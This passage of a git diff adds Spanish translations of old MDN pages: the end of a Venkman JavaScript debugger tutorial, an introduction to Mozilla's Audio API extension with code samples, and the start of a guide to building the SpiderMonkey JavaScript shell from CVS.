+<p><span id="result_box" lang="es">La vista  de Pila de llamadas se encuentra <span id="result_box" lang="es">por defecto, </span>en la parte izquierda <span id="result_box" lang="es">inferior </span> de la ventana. Cuando se detiene el depurador, la vista Pila de llamadas muestra la lista de las funciones activas. La función en la parte superior de laesta vista  es aquel donde el depurador se detiene , la función debajo de él es la <span id="result_box" lang="es">función </span>que llama , debajo se encuentra la <span id="result_box" lang="es"><span id="result_box" lang="es">función </span></span> que llama a la <span id="result_box" lang="es"><span id="result_box" lang="es">función </span></span>que llama , y así sucesivamente. Estos elementos se denominan marcos de pila .</span><br>
+ <br>
+ Haciendo doble clic en un marco de pila cambiará el marco "actual". Esto hará que la fuente de la función que se muestra en la vista Código fuente , la vista variables locales cambiará para mostrar las variables locales al marco de pila seleccionada, y el guión evaluado en la vista Sesión Interactiva estará en relación con el marco seleccionado .<br>
+ <br>
+ Si usted desea copiar la pila de llamadas actual al portapapeles , seleccione " volcado de pila a la Sesión Interactiva " en el menú contextual , o tipee  '/where' en la vista Sesión Interactiva . A continuación, puede copiar el texto desde la vista Sesión Interactiva .<br>
+ <br>
+ Si usted desea evitar que en el futuro , Venkman se pare en un marco de pila en particular, marque " No Debug" desde el menú contextual del marco de pila .</p>
+<h4 id="Source_Code_View" name="Source_Code_View">Vista de Codigo Fuente</h4>
+<p><img align="none" alt="Figure 11. The Source Code View. Source code, line numbers, and breakpoints." class="internal" src="/@api/deki/files/944/=Venkintro-source.png"></p>
+<p><span id="result_box" lang="es">La vista de Código Fuente es un visor de archivos de sólo lectura. Los archivos y funciones específicas dentro de ellos se pueden visualizar al seleccionar el archivo o la función nombre apropiado en la Vista de script .</span><br>
+ <br>
+ Cuando la ejecución del script es interrumpido por el depurador , la línea del archivo donde se produjo la interrupción se muestra automáticamente en la vista código fuente. La línea en cuestión se resaltará en amarillo para que sea fácil de localizar.<br>
+ <br>
+ Al hacer clic en el margen izquierdo de esta visión se establecerá un punto de interrupción en esa línea. Si el punto de interrupción se establece con éxito ,  se mostrará la letra " B " en un fondo rojo al margen,  y tanto las vistas de Scripts Loaded y Sesión Interactiva proporcionarán retroalimentación. El punto de interrupción se puede borrar haciendo clic en el margen de nuevo ( en la letra " B"). No se pueden establecer Puntos de interrupción  en las líneas que no contienen código ejecutable , como líneas en blanco y comentarios. Para estas líneas , la vista Sesión Interactiva mostrará un mensaje de error que explica por qué el punto de interrupción , no se podría establecer .<br>
+ <br>
+ Los Puntos de interrupción también se pueden configurar y borrar desde  la vista Sesión Interactiva, con los comandos break y fbreak .El comando break toma un patrón de archivo y número de línea . Cualquier archivo cargado que coincida con el patrón de archivo , y contiene una línea ejecutable en el número de la línea solicitada tendrá un conjunto de punto de interrupción . Si no hay archivos cargados coincidentes con el patrón de archivo o número de línea , un mensaje de error se imprime en la consola y el comando falla. El comando fbreak es idéntico , con la excepción de que si no hay archivos coincidentes, se registra un "punto de ruptura futuro"  para el patrón y la línea. La próxima vez que se carga un archivo que coincida con el patrón y la línea, un punto de interrupción se configurará . De esta manera, fbreak permite establecer puntos de interrupción en los archivos que aún no están cargados , así como establecer puntos de interrupción que se desencadenan cuando se carga un archivo .</p>
+<h4 id="The_Interactive_Session_View" name="The_Interactive_Session_View">Vista de Sesion Interactiva</h4>
+<p><img align="none" alt="Figure 12. The Interactive Session View. Command line interface to the debugger" class="internal" src="/@api/deki/files/936/=Venkintro-console.png"></p>
+<p><span id="result_box" lang="es">Otro vista básica en Venkman es la deSesión Interactiva, que le permite interactuar con el depurador desde una línea de comandos.</span><br>
+ <br>
+ Los comandos se introducen en el cuadro de texto , y las respuestas se añaden al final de la salida. Escriba /commands en la zona de entrada ( el cuadro de texto ) para listar todos los comandos disponibles. El comando /help se puede utilizar para obtener información adicional acerca de un comando específico . Puede escribir /help next, por ejemplo, para ver cómo se utiliza el comando /next.<br>
+ <br>
+ El área de entrada soporta historial de comandos y el completado con tabulador para nombres de comandos. La historia de comandos recuerda los últimos 20 comandos introducidos . Las flechas hacia arriba y hacia abajo se pueden usar para revisar estos comandos anteriores. La implementación del tabulador permite al usuario escribir la primera parte de un comando, y presiona el tabulador dos veces para ver las terminaciones posibles . Si sólo hay un comando coincide , será auto - completado en la primera ficha .</p>
+<h3 id="View_Customization" name="View_Customization">Vista  Personalizacion</h3>
+<p><span id="result_box" lang="es">Venkman ofrece un control casi total sobre la disposición y visualización de puntos de vista dentro de la aplicación . El depurador se construye sobre un marco de aplicación que le permite arrastrar y soltar , cambiar el tamaño y cambiar todas las vistas disponibles , e incluso crear nuevas vistas o módulos para el depurador si usted elige , aunque este último es un tema avanzado y un tema para un próximo artículo.</span><br>
+ <br>
+ Para eliminar una vista de Venkman , simplemente haga clic en el botón Cerrar en la parte superior derecha de ese punto de vista . Cuando la vista se hace necesario de nuevo - por ejemplo, cuando se abre un archivo fuente desde la vista Scripts Cargados y la vista de codigo fuente  reaparece donde estaba la última posicionado . Para hacer reaparecer una vista  de forma explícita , selecciónelo de la Ver-&gt; Mostrar / Ocultar menú del depurador. Usted también puede hacer que las vistas floten en sus propias ventanas separadas. Para hacer flotar una vista, haga clic en el botón de flotador en la parte superior izquierda de esta opinión.<br>
+ <br>
+ Usted puede acceder a cualquiera de las vistas básicas con las función de submenus Mostrar / Ocultar del menú View. La lista que se muestra incluye  todas las vistas básicas en Venkman. A medida que usted cambia  cuales vistas se muestran y donde aparecen en la interfaz de usuario, sus preferencias se almacenan y se mantienen en todas las sesiones.</p>
+<p> </p>
+<h3 id="Loading_Scripts_into_the_Debugger" name="Loading_Scripts_into_the_Debugger">Cargando scripts en el Debugger</h3>
+<p><span id="result_box" lang="es">Tanto si inicia Venkman primero o el componente del navegador, cuando se <span id="result_box" lang="es">pone en marcha </span>el conjunto de aplicaciones Mozilla  , el motor de JavaScript empieza a mantener la pista  y compilar todos los scripts que se cargan en páginas web y en las diversas interfaces de usuario propios de Mozilla . El motor informa a Venkman sobre los scripts que conoce , y los scripts se cargan en la vista "Scripts Loaded" en el depurador.</span><br>
+ <br>
+ Si desea cargar nuevos scripts en -digamos desde una página web que está tratando de solucionar problemas - puede hacerlo con sólo abrir la página web en la ventana del navegador normal , momento en el cual el compilador pone la fuente JavaScript y rellena los Scripts Loaded ventana con la nueva entrada.<br>
+ <br>
+ Usando Archivo- &gt; Abrir en Venkman se abrirá un archivo local en el depurador, y el uso de Archivo-&gt; Abrir dirección se abrirá y mostrará todo el contenido HTML de la página solicitada. Probablemente , ninguno de ellos es lo que realmente quieres . Puesto que el motor JavaScript rellena automáticamente la lista Scripts Cargados en el depurador con JavaScript que se ejecuta como el navegador abre páginas web , por lo general basta con navegar por los sitios cuyos guiones usted está interesado en la depuración.</p>
+<p> </p>
+<h3 id="Debugging_Basics" name="Debugging_Basics">Fundamentos de Depuracion</h3>
+<p><span id="result_box" lang="es">En esta sección se ofrece un breve ejemplo de una sesión de depuración con el fin de que se familiarice con algunos de los comandos básicos y operaciones del depurador.</span></p>
+<p><span id="result_box" lang="es">Nota: En un momento dado , el depurador necesitaba iniciarse antes de los scripts que se iban a depurar . Esta limitación se resolvio y ahora el compilador de JavaScript hace que todas las secuencias de comandos que se acceden a través del navegador,  esten disponibles para el depurador. Consulte Carga de scripts en el depurador para más información sobre cómo encontrar y cargar scripts en Venkman .</span></p>
+<ol>
+ <li>Comience Venkman</li>
+ <li>Inicie una ventana de navegador y vaya a http://wp.netscape.com/fishcam/dhtmltank.html .</li>
+</ol>
+<p>Tenga en cuenta que en Mozilla y Netscape 7.x 1.x , el depurador contiene un menú Ventana al igual que otros componentes principales en la suite de aplicaciones . Desde este menú, se puede acceder al navegador , el correo y otras aplicaciones.</p>
+<ol>
+ <li>Tipee /break animator-0.03 121 en el depurador.</li>
+</ol>
+<p>El comando de consola  /break se utiliza para establecer los puntos de interrupción y la lista. El primer parámetro es el nombre del archivo que contiene el código JavaScript que quieras detener. El segundo parámetro es el número de línea. No es necesario especificar el nombre completo del archivo. En este ejemplo, estamos estableciendo un punto de interrupción en la función que se llama cuando el navegador se inicia la ventana fishcam DHTML.<span lang="es"> Alternativamente, usted puede seleccionar animator-0.03.js de la vista scripts cargados, localizar la función de pausa en la línea 119 , y haga clic en el margen izquierdo . Establecer puntos de interrupción de esta manera es equivalente a usar el comando /break en la consola. En cualquier caso, un icono de punto de interrupción roja aparece en la vista Código fuente .</span></p>
+<ol>
+ <li><span lang="es">Tipee  /break en el depurador.</span></li>
+</ol>
+<p><span lang="es">Si usted no proporciona argumentos para el comando / descanso, todos los puntos de interrupción se enumeran en la vista Sesión Interactiva .</span></p>
+<ol>
+ <li><span lang="es">En la página fishcam , pulse el enlace de "pausa" .</span></li>
+ <li><span lang="es">Usted debe impactar el punto de interrupción que acaba de establecer en el paso 3 .</span></li>
+</ol>
+<p><span lang="es">En la sesión interactiva , el contexto se convierte en animador - 0.03.js y el ámbito de aplicación es la función de pausa . También habrá "Paramos para punto de interrupción " en rojo en la sesión interactiva , junto con el nombre de archivo, número de línea, y el fragmento de código fuente desde donde se detuvo </span></p>
+<p> </p>
+<p>Figura 13 . ( A partir del paso 5 ) se detuvo en un punto de interrupción .</p>
+<ol>
+ <li>En el campo de entrada de la sesión interactiva , escriba this.fPaused</li>
+ <li>Venkman evalúa la expresión , que le da [ boolean ] doble fondo . Pulse en Paso a paso para seguir los pasos hasta que haya terminado la depuración de la función y los peces ha detenido .</li>
+ <li> </li>
+ <li>Además que intervenir , que se ejecutará una sola línea de código JavaScript y parar, Paso a paso se puede utilizar para pasar por encima de una llamada de función inminente , y devolver el control al depurador cuando se devuelve la llamada . Step Out se ejecuta hasta que la corriente llamada de función se cierra.</li>
+ <li>Haga clic en el enlace de "pausa " de nuevo en la página fishcam para reanudar la demo .</li>
+ <li>Esto inicia el DHTML abajo del otro código base en start () y hace que los peces comienzan a nadar de nuevo .</li>
+ <li>Como se puede ver , se trata de una introducción muy modesto para la funcionalidad del depurador de JavaScript y la complejidad que los scripts pueden tener . Pero los pasos descritos aquí le puede dar una sensación básica para el depurador si aún no lo ha tenido alguna experiencia con él , y servir de base para los ejemplos más interesantes y prácticos en los artículos que siguen a éste.</li>
+ <li>La mejor manera de conocer a Venkman , por supuesto, es para jugar un rato con él - para configurarlo de la manera que tiene más sentido para usted, para tratar de secuencias de comandos de carga y establecer puntos de interrupción , la evaluación de expresiones en la Sesión Interactiva View, viendo los valores de las variables a medida que cambian cuando los scripts se ejecutan , obteniendo datos del perfil.</li>
+ <li>extensiones de depuración</li>
+ <li>Aunque a primera vista podría parecer que Venkman no puede depurar extensiones , hacerlo es , de hecho, totalmente compatible ; es sólo desactivada por defecto.</li>
+ <li>Para depurar la extensión con Venkman ( archivos XUL y sus archivos adjuntos JS ) , que tendrá que cargar el navegador y archivos de extensión en Venkman desmarcando Test&gt; Excluir archivos del navegador .</li>
+</ol>
+<p><span title="Resources">Recursos</span></p>
+<p><br>
+ <span title="Resources">El uso de puntos de interrupción en Venkman - siguiente artículo sobre Venkman .<br>
+ La página principal del Venkman en el MDC .</span></p>
+<div class="originaldocinfo">
+ <h3 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h3>
+ <ul>
+  <li>Authors: Ian Oeschger, Robert Ginda</li>
+ </ul>
+</div>
+<p></p>
diff --git a/files/es/introducción_a_la_extensión_de_la_api_de_audio/index.html b/files/es/introducción_a_la_extensión_de_la_api_de_audio/index.html
new file mode 100644
index 0000000000..05d03694b4
--- /dev/null
+++ b/files/es/introducción_a_la_extensión_de_la_api_de_audio/index.html
@@ -0,0 +1,360 @@
+---
+title: Introducción a la extension del API de audio
+slug: Introducción_a_la_extensión_de_la_API_de_audio
+tags:
+  - para_revisar
+  - páginas_a_traducir
+translation_of: Archive/Mozilla/Introducing_the_Audio_API_Extension
+---
+<p>La extension de audio de la API se extiende de la especificación de HTML5 {HTMLElement("audio")}} y <a href="/es/docs/Web/HTML/Elemento/video" title=""><code>&lt;video&gt;</code></a> multimedia mediante la exposición de elementos metadata de audio y datos puros en audio. Esto permite a los usuarios visualizar los datos de audio, para procesarlos y crear nuevos datos de audio.</p>
+<h2 id="Lectura_de_flujo_de_Audio">Lectura de flujo de Audio</h2>
+<h3 id="El_loadedmetadata_evento">El <strong>loadedmetadata</strong> evento</h3>
+<p>Cuando la metadata multimedia del elemento está disponible, se desencadena un envento <strong>loadedmetadata</strong>. Este evento tiene los siguientes atributos:</p>
+<ul>
+ <li><strong>mozChannels</strong>: Número de canales</li>
+ <li><strong>mozSampleRate</strong>: Frecuencia de muestreo por segundo</li>
+ <li><strong>mozFrameBufferLength</strong>:Número de muestras recolectadas en todos los canales</li>
+</ul>
+<p>Esta información es necesaria más adelante para descifrar la secuencia de datos de audio. En los siguientes ejemplos se extraen los datos de un elemento de audio:</p>
+<pre class="brush: js">				&lt;!DOCTYPE html&gt;
+
+				&lt;html&gt;
+
+				&lt;head&gt;
+
+					&lt;title&gt;Ejemplo JavaScript Metadata &lt;/title&gt;
+
+				&lt;/head&gt;
+
+					&lt;body&gt;
+
+						&lt;audio id="audio-element"
+
+						src="song.ogg"
+
+						controls="true"
+
+						style="width: 512px;"&gt;
+
+						&lt;/audio&gt;
+
+					    &lt;script&gt;
+
+					function loadedMetadata() {
+
+						channels          = audio.mozChannels;
+
+						rate              = audio.mozSampleRate;
+
+						frameBufferLength = audio.mozFrameBufferLength;
+
+					      }
+
+					var audio = document.getElementById('audio-element');
+
+					      audio.addEventListener('loadedmetadata', loadedMetadata, false);
+
+
+
+					    &lt;/script&gt;
+
+					  &lt;/body&gt;
+
+					&lt;/html&gt;
+
+			</pre>
+<h3 id="El_evento_MozAudioAvailable">El evento<strong> MozAudioAvailable </strong></h3>
+<p>A medida que el audio se reproduce, los datos de muestras están disponible para la capa de audio y el buffer de audio (size definido en <strong>mozFrameBufferLength</strong>) se llenan con las muestras. Una vez que el buffer esta lleno, el evento<strong>MozAudioAvailable</strong> se activa. Por lo tanto el evento contiene las muestras primas en un perido de tiempo. Esos muestreos pueden ser reproducidos o no en el momento que se hayan reproducido el evento y no se han ajustado para la configuración de mudo o volumen en el elemento de multimedia. Reproducir, pausar, y la búsqueda de audio tambien afecta transmision de estos datos de audio prima.</p>
+<p>El evento <strong>MozAudioAvailable</strong> tiene 2 atributos:</p>
+<ul>
+ <li><strong>frameBuffer</strong>: Framebuffer (i.e., an array) contiene decodificado de audio datos de la muestra (i.e., floats)</li>
+ <li><strong>time</strong>: Marca de tiempo de esas muestras medidas desde el principio en segundos</li>
+</ul>
+<p>El framebuffer contiene una serie de muestras de audio. Es importnt tener en cuenta que las muestras no son separados por canales, todos ellos son entregados juntos. Por ejemplo, para una señal de dos canales: Canal1-Ejemplo1 Canal2-Ejemplo1  Canal1-ejemplo2 Canal2-Ejemplo2 Canal1-Ejemplo3 Canal2-Ejemplo3.</p>
+<p>Podemos extender el ejemplo anterior para visualizar la fecha y hora y las muestras de los dos primeros en un <a href="/es/docs/Web/HTML/Elemento/div" title='div de "division" -división . Sirve para crear secciones o agrupar contenidos.'><code>&lt;div&gt;</code></a> elemento:</p>
+<pre class="brush: js">
+
+			&lt;!DOCTYPE html&gt;
+
+			&lt;html&gt;
+
+				&lt;head&gt;
+
+					&lt;title&gt;Ejemplo de visualizacion en JavaScript&lt;/title&gt;
+
+				&lt;body&gt;
+
+
+
+					&lt;audio id="audio-element"
+
+					src="revolve.ogg"
+
+					controls="true"
+
+					style="width: 512px;"&gt;
+
+					&lt;/audio&gt;
+
+					&lt;pre id="raw"&gt;hello&lt;/pre&gt;
+
+					&lt;script&gt;
+
+				function loadedMetadata() {
+
+					channels          = audio.mozChannels;
+
+					rate              = audio.mozSampleRate;
+
+					frameBufferLength = audio.mozFrameBufferLength;
+
+				}
+
+
+
+				function audioAvailable(event) {
+
+					        var frameBuffer = event.frameBuffer;
+
+					var t = event.time;
+
+
+
+
+
+					        var text = "Ejemplo: " + t + "\n"
+
+					        text += frameBuffer[0] + "  " + frameBuffer[1]
+
+					        raw.innerHTML = text;
+
+				}
+
+
+
+					      var raw = document.getElementById('raw')
+
+					var audio = document.getElementById('audio-element');
+
+					audio.addEventListener('MozAudioAvailable', audioAvailable, false);
+
+					      audio.addEventListener('loadedmetadata', loadedMetadata, false);
+
+
+
+					&lt;/script&gt;
+
+				&lt;/body&gt;
+
+			&lt;/html&gt;
+
+
+
+		</pre>
+<h2 id="Creación_de_un_flujo_de_audio">Creación de un flujo de audio</h2>
+<p>También es posible crear y configurar un <a href="/es/docs/Web/HTML/Elemento/audio" title="El elemento audio se usa para insertar contenido de audio en un documento HTML o XHTML. El elemento audio se agregó como parte de HTML 5."><code>&lt;audio&gt;</code></a> elemento por escrito por raw de script (i.e., sin <em>src</em> atributos. Contiene scripts que pueden especificar audios característicos de los flujos, a continuación, escribir las muestras de audio. Los usuarios deben crear un objeto de audio y luego usar el <code>mozSetup()</code> función  especifica el numero de canales y frecuencia (en Hz).  Por Ejemplo:</p>
+<pre class="brush: js">
+
+			// Crear un nuevo elemento de audio
+
+			var audioOutput = new Audio();
+
+			// Crea un elemento de audio con 2 canales, 44.1KHz audio flujo.
+
+			audioOutput.mozSetup(2, 44100);
+
+		</pre>
+<p>Una vez terminado, los ejemplos necesitan ser creado. Estas muestras tienen el mismo formato que los de el evento<strong>mozAudioAvailable</strong>. Luego las muestra son escritas en el audio de flujo con la función <code>mozWriteAudio()</code>. Es importante observar que no todas las muestras podría obtener por escrito en el arroyo. La función retorna el número de muestras por escrito, que es útil para la redacción siguiente. Puede ver un ejemplo a continuación<code><span style="font-family: Verdana,Tahoma,sans-serif;">: </span></code></p>
+<pre class="brush: js">
+
+			// Escribir ejemplo usando un JS Array
+
+			var samples = [0.242, 0.127, 0.0, -0.058, -0.242, ...];
+
+			var numberSamplesWritten = audioOutput.mozWriteAudio(samples);
+
+
+
+			// Escribir ejemplo usando un Typed Array
+
+			var samples = new Float32Array([0.242, 0.127, 0.0, -0.058, -0.242, ...]);
+
+			var numberSamplesWritten = audioOutput.mozWriteAudio(samples);
+
+		</pre>
+<p>En el siguiente ejemplo, creamos un pulso de audio:</p>
+<pre class="brush: js">
+
+			&gt;&lt;!doctype html&gt;
+
+				&lt;html&gt;
+
+				  &lt;head&gt;
+
+				     &lt;title&gt;Generando audio en tiempo real&lt;/title&gt;
+
+				  &lt;script type="text/javascript"&gt;
+
+				     function playTone() {
+
+				      var output = new Audio();
+
+
+
+				      output.mozSetup(1, 44100);
+
+				       var samples = new Float32Array(22050);
+
+				       var len = samples.length;
+
+
+
+				      for (var i = 0; i &lt; samples.length ; i++) {
+
+				         samples[i] = Math.sin( i / 20 );
+
+				       }
+
+				              output.mozWriteAudio(samples);
+
+
+
+				     }
+
+				   &lt;/script&gt;
+
+				 &lt;/head&gt;
+
+				 &lt;body&gt;
+
+				   &lt;p&gt;Esta demo tiene un tono de un segundo al hacer clic en el botón de abajo.&lt;/p&gt;
+
+				   &lt;button onclick="playTone();"&gt;Play&lt;/button&gt;
+
+
+
+				 &lt;/body&gt;
+
+				 &lt;/html&gt;</pre>
+<p>El <code>mozCurrentSampleOffset()</code> método da la posición sonora de la corriente de audio, es decir, la posición de la última muestra escuchado.</p>
+<pre class="brush: js">
+
+				// Obtener la posición actual sonora de la secuencia de audio subyacentes, medido en las muestras.
+
+				var currentSampleOffset = audioOutput.mozCurrentSampleOffset();
+
+			</pre>
+<p>Los datos de audio por escrito con el <code>mozWriteAudio()</code> método tiene que ser escrita en un intervalo regular en partes iguales, a fin de mantener un poco por delante de la muestra actual de compensación (offset de la muestra que está siendo desempeñado por el hardware se puede obtener con <code>mozCurrentSampleOffset()</code>), donde "un poco" quiere decir algo del orden de 500 ms de las muestras. Por ejemplo, si se trabaja con dos canales de 44.100 muestras por segundo, un intervalo de escritura de 100 ms, y un buffer de pre-igual a 500 ms, se podría escribir una serie de(2 * 44100 / 10) = 8820 muestras, y un total de (currentSampleOffset + 2 * 44100 / 2).</p>
+<p>También es posible detectar automáticamente la duración mínima de la memoria previa, de tal manera que el sonido se reproduce sin interrupciones, y el desfase entre la escritura y la reproducción es mínimo. Para ello empezar a escribir los datos en pequeñas porciones y esperar a que el valor devuelto por <code>mozCurrentSampleOffset()</code> debe ser mayor que 0.</p>
+<pre class="brush: js">				var prebufferSize = sampleRate * 0.020; // Initial buffer is 20 ms
+
+				var autoLatency = true, started = new Date().valueOf();
+
+				...
+
+				// Auto latency detection
+
+				if (autoLatency) {
+
+				prebufferSize = Math.floor(sampleRate * (new Date().valueOf() - started) / 1000);
+
+				if (audio.mozCurrentSampleOffset()) { // Play position moved?
+
+				autoLatency = false;
+
+				}
+
+			</pre>
+<h2 id="El_procesamiento_de_un_audio_de_flujo">El procesamiento de un audio de flujo</h2>
+<p>Desde el <strong>MozAudioAvailable</strong> evento y el<code>mozWriteAudio()</code> metodo ambos utilizan <code> Float32Array</code> valores, es posible tomar la salida de un flujo de audio y pasarlo directamente (o primer proceso y luego pasar) a un segundo. La secuencia de audio primero debe ser silenciado de manera que sólo el elemento secundario de audio que se escucha.</p>
+<pre class="brush: js">
+
+				&lt;audio id="a1"
+
+				src="song.ogg"
+
+				controls&gt;
+
+				&lt;/audio&gt;
+
+				&lt;script&gt;
+
+				var a1 = document.getElementById('a1'),
+
+				a2 = new Audio(),
+
+				buffers = [];
+
+
+
+				function loadedMetadata() {
+
+					// Mute a1 audio.
+
+					a1.volume = 0;
+
+					// Configuracion a2 de ser idéntica a la a1, y jugar por ahí.
+
+					a2.mozSetup(a1.mozChannels, a1.mozSampleRate);
+
+				}
+
+
+
+				function audioAvailable(event) {
+
+					// Escriba el actual framebuffer
+
+					var frameBuffer = event.frameBuffer;
+
+					writeAudio(frameBuffer);
+
+				}
+
+
+
+				a1.addEventListener('MozAudioAvailable', audioAvailable, false);
+
+				a1.addEventListener('loadedmetadata', loadedMetadata, false);
+
+
+
+				function writeAudio(audio) {
+
+				buffers.push(audio);
+
+
+
+					// Si hay buffer de datos, escribe que
+
+					while(buffers.length &gt; 0) {
+
+						var buffer = buffers.shift();
+
+						var written = a2.mozWriteAudio(buffer);
+
+						// // Si todos los datos no se ha escrito,mantener los buffers:
+
+						if(written &lt; buffer.length) {
+
+							buffers.unshift(buffer.slice(written));
+
+							return;
+
+							}
+
+					}
+
+				}
+
+				&lt;/script&gt;
+
+			</pre>
+<h2 id="Ver_Tambien">Ver Tambien</h2>
+<ul>
+ <li><a href="/en/Creating_a_Web_based_tone_generator" title="en/Creating a Web based tone generator">Crear un generador de Web basada en el tono</a></li>
+ <li><a href="/en/Visualizing_Audio_Spectrum" title="en/Visualizing Audio Spectrum"><span class="mw-headline" id="Complete_Example:_Visualizing_Audio_Spectrum">Visualizar un espectro de audio</span></a></li>
+ <li><a href="/en/Displaying_the_Mozilla_logo_with_the_Audio_Samples" title="en/Displaying the Mozilla logo with the Audio Samples"><span class="mw-headline">Viendo un gráfico con las muestras de audio</span></a></li>
+ <li><a href="/en/Creating_a_simple_synth" title="https://developer.mozilla.org/en/Creating_a_simple_synth">Creación de un synth simple (utilizando las bibliotecas existentes)</a></li>
+ <li><a class="external" href="http://en.wikipedia.org/wiki/Digital_audio" title="http://en.wikipedia.org/wiki/Digital_audio">Artículo de Wikipedia sobre audio digital</a></li>
+</ul>
diff --git a/files/es/introducción_al_shell_de_javascript/index.html b/files/es/introducción_al_shell_de_javascript/index.html
new file mode 100644
index 0000000000..2da3b2bec8
--- /dev/null
+++ b/files/es/introducción_al_shell_de_javascript/index.html
@@ -0,0 +1,248 @@
+---
+title: Introducción al shell de JavaScript
+slug: Introducción_al_shell_de_JavaScript
+translation_of: Mozilla/Projects/SpiderMonkey/Introduction_to_the_JavaScript_shell
+---
+<h2 id="Introducci.C3.B3n" name="Introducci.C3.B3n">Introducción</h2>
+<p>Este artículo pretende servir como introducción a la descarga y compilación del shell de JavaScript desde el servidor CVS de Mozilla, prestando especial atención a la descarga y compilación de las versiones previas a las finales a modo de prueba y experimentación.</p>
+<p>Además, este artículo proporciona información de uso básico sobre cómo se puede usar el shell para experimentar con código y ejecutar programas de JavaScript.</p>
+<h2 id="Descargando_y_compilando_el_shell_de_JavaScript" name="Descargando_y_compilando_el_shell_de_JavaScript">Descargando y compilando el shell de JavaScript</h2>
+<p><span class="comment">Traducciones para logging: * Entrar * Registrarse * Darse de alta???</span></p>
+<h3 id="Logue.C3.A1ndose_en_el_servidor_CVS" name="Logue.C3.A1ndose_en_el_servidor_CVS">Logueándose en el servidor CVS</h3>
+<p>Al igual que ocurre cuando se busca cualquier otro proyecto de Mozilla en el CVS, lo primero que hay que hacer es loguearse en el servidor CVS. Para hacer esto, hay que situarse en el directorio base en el que se encuentre el código al que quieres acceder y luego introducir el siguiente comando en la línea de comandos:</p>
+<pre class="eval">cvs -d <a class="link-mailto" href="mailto::pserver:anonymous@cvs-mirror.mozilla.org" rel="freelink">:pserver:anonymous@cvs-mirror.mozilla.org</a>:/cvsroot login
+</pre>
+<p>Cuando te lo pregunte, introduce la contraseña &lt;tt&gt;anonymous&lt;/tt&gt;.</p>
+<h3 id="Compilando_una_versi.C3.B3n_trunk_de_JavaScript" name="Compilando_una_versi.C3.B3n_trunk_de_JavaScript">Compilando una versión trunk de JavaScript</h3>
+<p>Una vez logueado en el servidor, es hora de buscar el código en el CVS. Primero hay que situarse en el directorio raíz del árbol CVS y luego es necesario introducir el siguiente comando:</p>
+<pre>cvs -d :pserver:anonymous@cvs-mirror.mozilla.org:/cvsroot co -l mozilla/js/src mozilla/js/src/config mozilla/js/src/editline mozilla/js/src/fdlibm
+</pre>
+<p>Esto comprueba todos los ficheros que hacen falta para compilar el shell de JavaScript.</p>
+<p>Ahora puedes compilar JavaScript ejecutando los dos siguientes comandos:</p>
+<pre>cd mozilla/js/src
+make -f Makefile.ref
+</pre>
+<p>Cuando finalice la compilación, debería de haber un ejecutable llamado &lt;tt&gt;js&lt;/tt&gt; en un directorio cuyo nombre depende del sistema en el que se ha realizado la compilación. Por ejemplo, en Mac OS X, el ejecutable estará ubicado en &lt;tt&gt;Darwin_DBG.OBJ/js&lt;/tt&gt;.</p>
+<p>En este momento, ya estás listo para <a href="#Usando_el_shell_de_JavaScript">ejecutar y probar el shell.</a></p>
+<h3 id="Compilando_una_versi.C3.B3n_branch_de_JavaScript" name="Compilando_una_versi.C3.B3n_branch_de_JavaScript">Compilando una versión branch de JavaScript</h3>
+<p>Si lo que quieres es experimentar con las versiones con lo último de JavaScript, necesitarás compilar una versión branch de JavaScript. Se hace de forma igual a la compilación de la versión trunk, excepto que hay que comprobar la versión branch del código en lugar de la versión trunk.</p>
+<p>Realiza los mismos pasos explicados anteriormente y cuando compruebes los ficheros, cambia la línea &lt;tt&gt;cvs co...&lt;/tt&gt; por</p>
+<pre class="eval">cvs -d <a class="link-mailto" href="mailto::pserver:anonymous@cvs-mirror.mozilla.org" rel="freelink">:pserver:anonymous@cvs-mirror.mozilla.org</a>:/cvsroot co -l -r<i>branch_name</i> mozilla/js/src mozilla/js/src/config mozilla/js/src/editline mozilla/js/src/fdlibm
+</pre>
+<p>Sustituye
+ <i>
+  branch_name</i>
+ por el nombre de la versión branch comprobada. Por ejemplo, para comprobar la versión alpha branch de JavaScript 1.7 se debe poner &lt;tt&gt;JS_1_7_ALPHA_BRANCH&lt;/tt&gt;.</p>
+<p>Luego puedes seguir la compilación y ejecutar el shell como se ha explicado antes.</p>
+<h2 id="Usando_el_shell_de_JavaScript" name="Usando_el_shell_de_JavaScript">Usando el shell de JavaScript</h2>
+<p>El shell proporciona dos modos de operación. Puedes usarlo como shell interactivo, en el cual se puede escribir código JavaScript y se obtienen respuestas inmediatas; algo que es útil para experimentar o probar nuevas características. Además se le puede pasar (en la línea de comandos) un fichero que contenga un programa JavaScript para ejecutarlo, en cuyo caso el programa es ejecutado automáticamente.</p>
+<div class="note">
+ <b>Nota:</b> Dado que el shell de JavaScript es usado como entorno de pruebas para el motor JavaScript, las opciones disponibles y las funciones incorporadas pueden cambiar con el tiempo.</div>
+<h3 id="Opciones_en_l.C3.ADnea_de_comandos" name="Opciones_en_l.C3.ADnea_de_comandos">Opciones en línea de comandos</h3>
+<p>Existen una serie de opciones en línea de comandos que se pueden especificar para controlar el shell. Se muestran a continuación:</p>
+<ul>
+ <li><code>-b
+  <i>
+   branchlimit</i>
+  </code>
+  <ul>
+   <li>Establece el límite del branch.</li>
+  </ul>
+ </li>
+ <li><code>-c
+  <i>
+   stackchunksize</i>
+  </code>
+  <ul>
+   <li>Establece el tamaño del chunk de la pila.</li>
+  </ul>
+ </li>
+ <li><code>-C</code>
+  <ul>
+   <li>Le dice al shell que compile el programa pero no lo ejecute. Este es un modo conveniente para comprobar rápidamente los errores de sintaxis en el programa sin tener que ejectuarlo.</li>
+  </ul>
+ </li>
+ <li><code>-e
+  <i>
+   script</i>
+  </code>
+  <ul>
+   <li>Ejecuta el
+    <i>
+     script</i>
+    especificado, que es una cadena de texto que contiene el código a ejecutar.</li>
+  </ul>
+ </li>
+ <li><code>-f
+  <i>
+   fichero</i>
+  </code>
+  <ul>
+   <li>Ejecuta el programa JavaScript especificado por
+    <i>
+     fichero</i>
+    .</li>
+  </ul>
+ </li>
+ <li><code>-i</code>
+  <ul>
+   <li>Habilita el modo interactivo.</li>
+  </ul>
+ </li>
+ <li><code>-P</code>
+  <ul>
+   <li>
+    <i>
+     Todavía no tengo claro lo que hace.</i>
+   </li>
+  </ul>
+ </li>
+ <li><code>-s</code>
+  <ul>
+   <li>Habilita el modo de avisos estrictos.</li>
+  </ul>
+ </li>
+ <li><code>-S
+  <i>
+   stacksize</i>
+  </code>
+  <ul>
+   <li>Establece el tamaño máximo de la pila.</li>
+  </ul>
+ </li>
+ <li><code>-v</code>
+  <ul>
+   <li>Muestra información estadística.</li>
